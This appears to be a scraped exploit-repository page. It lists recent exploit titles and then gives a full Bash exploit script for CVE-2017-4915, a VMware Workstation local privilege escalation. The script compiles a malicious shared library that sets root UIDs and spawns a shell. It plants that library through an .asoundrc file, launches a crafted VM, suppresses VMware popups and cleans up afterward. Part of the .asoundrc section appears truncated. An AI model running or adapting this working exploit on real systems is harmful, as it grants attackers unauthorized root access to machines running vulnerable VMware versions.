6f49190671
19 changes to exploits/shellcodes pdfresurrect 0.15 - Buffer Overflow Linux Kernel 4.8.0-41-generic (Ubuntu) - Packet Socket Privilege Escalation Linux Kernel 4.8.0-41-generic (Ubuntu) - Packet Socket Local Privilege Escalation Serv-U FTP Server < 15.1.7 - Local Privilege Escalation Serv-U FTP Server < 15.1.7 - Local Privilege Escalation (1) Linux Kernel 4.10 < 5.1.17 - 'PTRACE_TRACEME' pkexec Local Privilege Escalation Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ADMIN' Local Privilege Escalation (cron Method) Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ADMIN' Local Privilege Escalation (dbus Method) Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ADMIN' Local Privilege Escalation (ldpreload Method) Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ADMIN' Local Privilege Escalation (polkit Method) Linux Kernel 4.8.0-34 < 4.8.0-45 (Ubuntu / Linux Mint) - Packet Socket Local Privilege Escalation Linux Kernel < 4.4.0/ < 4.8.0 (Ubuntu 14.04/16.04 / Linux Mint 17/18 / Zorin) - Local Privilege Escalation (KASLR / SMEP) Linux Kernel 4.4.0-21 < 4.4.0-51 (Ubuntu 14.04/16.04 x86-64) - 'AF_PACKET' Race Condition Privilege Escalation VMware Workstation/Player < 12.5.5 - Local Privilege Escalation S-nail < 14.8.16 - Local Privilege Escalation Deepin Linux 15 - 'lastore-daemon' Local Privilege Escalation Serv-U FTP Server < 15.1.7 - Local Privilege Escalation (2) ASAN/SUID - Local Privilege Escalation Microsoft Windows 7 build 7601 (x86) - Local Privilege Escalation Ovidentia 8.4.3 - SQL Injection Moodle Filepicker 3.5.2 - Server Side Request Forgery Ahsay Backup 7.x - 8.1.1.50 - Authenticated Arbitrary File Upload / Remote Code Execution Ahsay Backup 7.x - 8.1.1.50 - Authenticated Arbitrary File Upload / Remote Code Execution (Metasploit) Ahsay Backup 7.x - 8.1.1.50 - XML External Entity Injection
128 lines
No EOL
3.6 KiB
Bash
Executable file
128 lines
No EOL
3.6 KiB
Bash
Executable file
#!/bin/bash
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################################################################################
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# VMware Workstation Local Privilege Escalation exploit (CVE-2017-4915) #
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# - https://www.vmware.com/security/advisories/VMSA-2017-0009.html #
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# - https://www.exploit-db.com/exploits/42045/ #
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# #
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# Affects: #
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# - VMware Workstation Player <= 12.5.5 #
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# - VMware Workstation Pro <= 12.5.5 #
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################################################################################
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# ~ bcoles
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VM_PLAYER=/usr/bin/vmplayer
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GCC=/usr/bin/gcc
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RAND_STR=$(echo $RANDOM | tr '[0-9]' '[a-zA-Z]')
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VM_DIR=$HOME/.$RAND_STR
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echo "[*] Creating directory $VM_DIR"
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mkdir "$VM_DIR"
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if [ $? -ne 0 ] ; then
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echo "[-] Could not create $VM_DIR"
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exit 1
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fi
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echo "[*] Writing $VM_DIR/$RAND_STR.c"
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cat > "$VM_DIR/$RAND_STR.c" <<EOL
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#define _GNU_SOURCE
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#include <stdlib.h>
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#include <string.h>
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#include <stdio.h>
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#include <unistd.h>
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#include <fcntl.h>
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#include <sys/prctl.h>
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#include <err.h>
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extern char *program_invocation_short_name;
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__attribute__((constructor)) void run(void) {
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uid_t ruid, euid, suid;
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if (getresuid(&ruid, &euid, &suid))
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err(1, "getresuid");
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printf("[*] Current UIDs: %d %d %d\n", ruid, euid, suid);
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if (ruid == 0 || euid == 0 || suid == 0) {
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if (setresuid(0, 0, 0) || setresgid(0, 0, 0))
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err(1, "setresxid");
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printf("switched to root UID and GID");
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system("/bin/bash");
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_exit(0);
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}
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}
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EOL
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echo "[*] Compiling $VM_DIR/$RAND_STR.c"
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$GCC -shared -o "$VM_DIR/$RAND_STR.so" "$VM_DIR/$RAND_STR.c" -fPIC -Wall -ldl -std=gnu99
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if [ $? -ne 0 ] ; then
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echo "[-] Compilation failed"
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exit 1
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fi
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echo "[*] Removing $VM_DIR/$RAND_STR.c"
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rm "$VM_DIR/$RAND_STR.c"
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echo "[*] Writing $HOME/.asoundrc"
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lib "$VM_DIR/$RAND_STR.so"
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func "conf_pulse_hook_load_if_running"
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}
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EOL
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echo "[*] Writing $VM_DIR/$RAND_STR.vmx"
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cat > "$VM_DIR/$RAND_STR.vmx" <<EOL
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.encoding = "UTF-8"
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config.version = "8"
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virtualHW.version = "8"
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scsi0.present = "FALSE"
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memsize = "4"
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ide0:0.present = "FALSE"
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sound.present = "TRUE"
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sound.fileName = "-1"
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sound.autodetect = "TRUE"
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vmci0.present = "FALSE"
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hpet0.present = "FALSE"
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displayName = "$RAND_STR"
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guestOS = "other"
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nvram = "$RAND_STR.nvram"
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virtualHW.productCompatibility = "hosted"
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gui.exitOnCLIHLT = "FALSE"
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powerType.powerOff = "soft"
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powerType.powerOn = "soft"
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powerType.suspend = "soft"
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powerType.reset = "soft"
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floppy0.present = "FALSE"
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monitor_control.disable_longmode = 1
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EOL
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echo "[*] Disabling VMware hint popups"
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if [ ! -d "$HOME/.vmware" ]; then
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mkdir "$HOME/.vmware"
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fi
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if [ -f "$HOME/.vmware/preferences" ]; then
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if grep -qi "hints.hideall" "$HOME/.vmware/preferences"; then
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sed -i 's/hints\.hideAll\s*=\s*"FALSE"/hints.hideAll = "TRUE"/i' "$HOME/.vmware/preferences"
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else
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echo 'hints.hideAll = "TRUE"' >> "$HOME/.vmware/preferences"
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fi
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else
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echo '.encoding = "UTF8"' > "$HOME/.vmware/preferences"
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echo 'pref.vmplayer.firstRunDismissedVersion = "999"' >> "$HOME/.vmware/preferences"
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echo 'hints.hideAll = "TRUE"' >> "$HOME/.vmware/preferences"
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fi
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echo "[*] Launching VMware Player..."
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$VM_PLAYER "$VM_DIR/$RAND_STR.vmx"
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echo "[*] Removing $HOME/.asoundrc"
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rm "$HOME/.asoundrc"
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echo "[!] Remove $VM_DIR when you're done"
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rmdir "$VM_DIR"
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################################################################################
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# EOF |